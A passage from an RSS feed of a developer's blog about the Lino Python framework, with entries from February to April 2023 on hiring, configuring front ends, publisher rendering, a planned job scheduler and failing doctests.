better leader than me (“a man to bring it to a next level”), it “only” needs a
third developer, a colleague for Sharif.&lt;/p&gt;
&lt;p&gt;Lino has actually multiple potential customers here in Belgium, we just don’t
have any convincing final product to show them. We have no convincing final
product because the last 20% of the work are the most time-consuming and because
until now I prefer to do them together with the customer. During the last months
I have spoken to many “almost-customers” and I feel able to imagine their needs.&lt;/p&gt;
&lt;p&gt;In other words, I am changing my “strategy”.  It’s actually not a strategy, not
even a “plan”, I prefer to call it my “prayers”. One of the advantages of being
a small team is to not requiring “clear” plans and strategies.&lt;/p&gt;
&lt;p&gt;The new master plan includes finding a way to raise funds for a year of salary
for a second developer like Sharif.&lt;/p&gt;
&lt;p&gt;The entrance test for candidates is easy: just read
&lt;a class="reference external" href="https://dev.lino-framework.org"&gt;https://dev.lino-framework.org&lt;/a&gt; and contact me when you reached the end of the
“Getting started” section. Most people never reach the first checkpoint because
they loose interest or have other skills and talents.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0423.html</guid><pubDate>Sun, 23 Apr 2023 00:00:00 +0000</pubDate></item><item><title>Wednesday, April 19, 2023</title><link>https://luc.lino-framework.org/blog/2023/0419.html</link><description>&lt;section id="wednesday-april-19-2023"&gt;
&lt;h1&gt;Wednesday, April 19, 2023&lt;a class="headerlink" href="#wednesday-april-19-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;We have a boolean field named “private” on three models: &lt;a class="reference external" href="https://using.lino-framework.org/plugins/comments.html#term-comment" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;comment&lt;/span&gt;&lt;/a&gt;,
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/tickets.html#lino_xl.lib.tickets.Ticket" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.tickets.Ticket&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://dev.lino-framework.org/specs/tickets.html#lino_xl.lib.tickets.Site" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.tickets.Site&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Actually this field should better be labelled “confidential”.&lt;/p&gt;
&lt;p&gt;The Publishable mixin should get a new method &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;is_public()&lt;/span&gt;&lt;/code&gt;, which would
return &lt;cite&gt;False&lt;/cite&gt; by default.
For a blog entry it would return True or False depending on the state.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0419.html</guid><pubDate>Wed, 19 Apr 2023 00:00:00 +0000</pubDate></item><item><title>Wednesday, April 5, 2023</title><link>https://luc.lino-framework.org/blog/2023/0405.html</link><description>&lt;section id="wednesday-april-5-2023"&gt;
&lt;h1&gt;Wednesday, April 5, 2023&lt;a class="headerlink" href="#wednesday-april-5-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="sites-with-multiple-front-ends"&gt;
&lt;h2&gt;Sites with multiple front ends&lt;a class="headerlink" href="#sites-with-multiple-front-ends" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I removed &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.force_url_prefix&lt;/span&gt;&lt;/code&gt; because it was unused.&lt;/p&gt;
&lt;p&gt;Specifying &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Site.default_ui&lt;/span&gt;&lt;/code&gt; is now “the old way”.  The attribute
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;default_ui&lt;/span&gt;&lt;/code&gt; on the Kernel (which was the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin&lt;/span&gt;&lt;/code&gt; instance of the
plugin named by &lt;cite&gt;Site.default_ui&lt;/cite&gt;) is no replaced by  an attribute
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;web_front_ends&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To use the new feature, you can now set the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;web_front_ends&lt;/span&gt;&lt;/code&gt; on the Site,
which in that case must be a list of tuples having two items &lt;cite&gt;(prefix, modname)&lt;/cite&gt;
each.  For example a site with react as default and extjs as alternative front
end would have:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;web_front_ends&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lino_react.react&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ext&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lino.modlib.extjs&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Or in &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;cms1&lt;/span&gt;&lt;/code&gt; we have publisher as default and react as the “admin” front
end:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;web_front_ends&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lino.modlib.publisher&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;admin&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lino_react.react&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0405.html</guid><pubDate>Wed, 05 Apr 2023 00:00:00 +0000</pubDate></item><item><title>Tuesday, March 28, 2023</title><link>https://luc.lino-framework.org/blog/2023/0328.html</link><description>&lt;section id="tuesday-march-28-2023"&gt;
&lt;h1&gt;Tuesday, March 28, 2023&lt;a class="headerlink" href="#tuesday-march-28-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The &lt;cite&gt;bootstrap3/base.html&lt;/cite&gt; template has a language selector and I think that we
actually want to to use this logic for publisher as well. And &lt;cite&gt;page.pub.html&lt;/cite&gt; is
based on this template, but overrides the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;header&lt;/span&gt;&lt;/code&gt; block. The bootstrap
language selector uses &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.requests.BaseRequest.get_request_url&lt;/span&gt;&lt;/code&gt;,
which currently doesn’t work for a publisher page. Solution was to write a
Renderer for publisher, and reimplement the publisher views.&lt;/p&gt;
&lt;p&gt;I tried to find a better place for the &lt;cite&gt;hash_router&lt;/cite&gt; and &lt;cite&gt;permalink_uris&lt;/cite&gt;
attributes of &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/requests.html#lino.core.requests.BaseRequest" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.requests.BaseRequest&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;cite&gt;hash_router&lt;/cite&gt; is used in &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.renderer.HtmlRenderer.get_permalink()&lt;/span&gt;&lt;/code&gt;
to insert the “#” sign before the URL. This information is constant for the
react front end and shouldn’t be stored on each incoming request.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;permalink_uris&lt;/span&gt;&lt;/code&gt; is used in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.renderer.html#lino.core.renderer.HtmlRenderer.row_action_button" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.renderer.HtmlRenderer.row_action_button()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.renderer.JsRenderer.obj2url()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;hash_router&lt;/span&gt;&lt;/code&gt; attribute was used only by the publisher view, which I
reimplemented. So it can go away.&lt;/p&gt;
&lt;p&gt;But &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.requests.BaseRequest.permalink_uris&lt;/span&gt;&lt;/code&gt; stays.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0328.html</guid><pubDate>Tue, 28 Mar 2023 00:00:00 +0000</pubDate></item><item><title>Wednesday, March 22, 2023</title><link>https://luc.lino-framework.org/blog/2023/0322.html</link><description>&lt;section id="wednesday-march-22-2023"&gt;
&lt;h1&gt;Wednesday, March 22, 2023&lt;a class="headerlink" href="#wednesday-march-22-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I plan to start coding for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4783"&gt;#4783&lt;/a&gt;. There will be three database models
and a choicelist:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;JobRule&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Sequenced&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;RecurrenceSet&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;name&lt;/span&gt;
    &lt;span class="n"&gt;procedure&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Procedures&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Job&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Started&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;rule&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ForeignKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;JobRule&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Procedures&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Choicelist&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;item_class&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Procedure&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Procedure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Choice&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;func&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="nb"&gt;callable&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;
    &lt;span class="n"&gt;every_unit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;sec&amp;quot;&lt;/span&gt;
    &lt;span class="n"&gt;every_value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
    &lt;span class="n"&gt;start_time&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;cite&gt;schedule_daily&lt;/cite&gt; and &lt;cite&gt;schedule_daily&lt;/cite&gt; decorators will now add a Procedure to
the Procedures choicelist. We will replace the &lt;cite&gt;every&lt;/cite&gt; and &lt;cite&gt;at&lt;/cite&gt; keywords, which
come from the schedule API, by the &lt;cite&gt;RecurrenceSet&lt;/cite&gt; syntax. For a &lt;cite&gt;Procedure&lt;/cite&gt;
these values are now just suggestions that lead to a default JobRule generted by
the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-std" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;std&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture.&lt;/p&gt;
&lt;p&gt;But halt! I realized that this is a rather invisible feature! Lino actually
needs &lt;em&gt;visible&lt;/em&gt; features. For example the warehouse plugin. Or the CMS.
So I will let &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4783"&gt;#4783&lt;/a&gt; wait for another time.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0322.html</guid><pubDate>Wed, 22 Mar 2023 00:00:00 +0000</pubDate></item><item><title>Cannot join existing household</title><link>https://luc.lino-framework.org/blog/2023/0317.html</link><description>&lt;section id="cannot-join-existing-household"&gt;
&lt;h1&gt;Cannot join existing household&lt;a class="headerlink" href="#cannot-join-existing-household" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Friday, March 17, 2023&lt;/p&gt;
&lt;p&gt;Already quite some time we have several failures in the book doctests caused by
a difference in an Ajax action call. For example
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/specs/households.rst&lt;/span&gt;&lt;/code&gt;. The common thing was that one key in that Ajax
call, the &lt;cite&gt;base_params&lt;/cite&gt;, had been removed. And I had no idea whether that was
good or bad.&lt;/p&gt;
&lt;p&gt;Now I discovered ticket &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4905"&gt;#4905&lt;/a&gt;, which shows that the test suite was
right: it had detected a regression. The problem is that we didn’t care, and now
we will need more time to find back the cause. Sharif, do you remember to have
changed something in the inner code that might have caused this?&lt;/p&gt;
&lt;p&gt;Meanwhile I had been working on a series of “minor” changes.
For example I changed the way we add intersphinx mappings to synodal docs.
And finally removed the dependency from rstgen to atelier&lt;/p&gt;
&lt;p&gt;I now pushed them all
to their repositories because I am waiting for Sharif’s feedback.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2023-03-17 05:24 in &lt;em&gt;synodal&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/synodal.git"&gt;91d791d&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0317.html"&gt;https://luc.lino-framework.org/blog/2023/0317.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-03-17 05:25 in &lt;em&gt;lino&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/lino.git"&gt;05c44f5&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0317.html"&gt;https://luc.lino-framework.org/blog/2023/0317.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-03-17 05:25 in &lt;em&gt;ug&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/ug.git"&gt;867ae0c&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0317.html"&gt;https://luc.lino-framework.org/blog/2023/0317.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-03-17 05:25 in &lt;em&gt;xl&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/xl.git"&gt;213d2a7&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0317.html"&gt;https://luc.lino-framework.org/blog/2023/0317.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-03-17 05:26 in &lt;em&gt;noi&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/noi.git"&gt;6b51145&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0317.html"&gt;https://luc.lino-framework.org/blog/2023/0317.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-03-17 05:26 in &lt;em&gt;cosi&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/cosi.git"&gt;ab342f7&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0317.html"&gt;https://luc.lino-framework.org/blog/2023/0317.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-03-17 05:27 in &lt;em&gt;book&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/book.git"&gt;ee81eff&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0317.html"&gt;https://luc.lino-framework.org/blog/2023/0317.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-03-17 05:27 in &lt;em&gt;welfare&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/welfare.git"&gt;d1b662d&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0317.html"&gt;https://luc.lino-framework.org/blog/2023/0317.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-03-17 05:27 in &lt;em&gt;welcht&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/welcht.git"&gt;5334afd&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0317.html"&gt;https://luc.lino-framework.org/blog/2023/0317.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-03-17 05:28 in &lt;em&gt;getlino&lt;/em&gt;:
&lt;a class="reference external" href="git&amp;#64;gitlab.com:lino-framework/getlino.git"&gt;9a7b474&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0317.html"&gt;https://luc.lino-framework.org/blog/2023/0317.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-03-17 05:28 in &lt;em&gt;blog&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lsaffre/blog/commit/13cbfccf0d7b9e7147434ac9a76fac9033ee2022"&gt;3ee2022&lt;/a&gt;
(&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2023/0317.html"&gt;https://luc.lino-framework.org/blog/2023/0317.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0317.html</guid><pubDate>Fri, 17 Mar 2023 00:00:00 +0000</pubDate></item><item><title>Tuesday, March 14, 2023</title><link>https://luc.lino-framework.org/blog/2023/0314.html</link><description>&lt;section id="tuesday-march-14-2023"&gt;
&lt;h1&gt;Tuesday, March 14, 2023&lt;a class="headerlink" href="#tuesday-march-14-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0314.html</guid><pubDate>Tue, 14 Mar 2023 00:00:00 +0000</pubDate></item><item><title>Monday, March 13, 2023</title><link>https://luc.lino-framework.org/blog/2023/0313.html</link><description>&lt;section id="monday-march-13-2023"&gt;
&lt;h1&gt;Monday, March 13, 2023&lt;a class="headerlink" href="#monday-march-13-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4898"&gt;#4898&lt;/a&gt; (Change “site operator” to “site owner”, add a field
site_maintainer and render them both in the local help pages.)&lt;/p&gt;
&lt;p&gt;Changes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;New database model &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;help.SiteContacts&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Side effects
- &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4902"&gt;#4902&lt;/a&gt;
- Removed the apcdocs directory&lt;/p&gt;
&lt;p&gt;Side effects:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;contacts.Person.as_paragraph()&lt;/span&gt;&lt;/code&gt; no longer inserts a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;br&amp;gt;&lt;/span&gt;&lt;/code&gt; between the
salutation and the title &amp;amp; name&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;adapt test suites&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;write documentation&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;translations&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Define &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;SiteContact.as_paragraph()&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;SiteContact.__str__()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Add link the help pages in publisher main page.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Several test cases still failing&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;failing test cases:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;site_internals&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;projects&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;noi1r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;specs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;polls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tested&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dashboard_sql&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;  &lt;span class="c1"&gt;# there is one group membership more in noi1r&lt;/span&gt;
&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;specs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;react&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;linoweb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;specs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;migrate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;specs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;jinja&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;specs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;households&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0313.html</guid><pubDate>Mon, 13 Mar 2023 00:00:00 +0000</pubDate></item><item><title>Monday, February 27, 2023</title><link>https://luc.lino-framework.org/blog/2023/0227.html</link><description>&lt;section id="monday-february-27-2023"&gt;
&lt;h1&gt;Monday, February 27, 2023&lt;a class="headerlink" href="#monday-february-27-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I reviewed Sharif’s work. Looks good! I am looking forward to get a
presentation. I responded with two minor changes (in four commits):  (1) We
still need to support Python 3.7, so I removed a type hint in lino. (2) And then
the output of &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.Calendars" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.Calendars&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#book-specs-cal" title="(in Lino Developer Guide)"&gt;&lt;span&gt;cal : Calendar functionality&lt;/span&gt;&lt;/a&gt; was:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Calendars&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;...&lt;/span&gt;
&lt;span class="go"&gt;==== ============= ================== ================== ============= =======&lt;/span&gt;
&lt;span class="go"&gt; ID   Designation   Designation (de)   Designation (fr)   Description   color&lt;/span&gt;
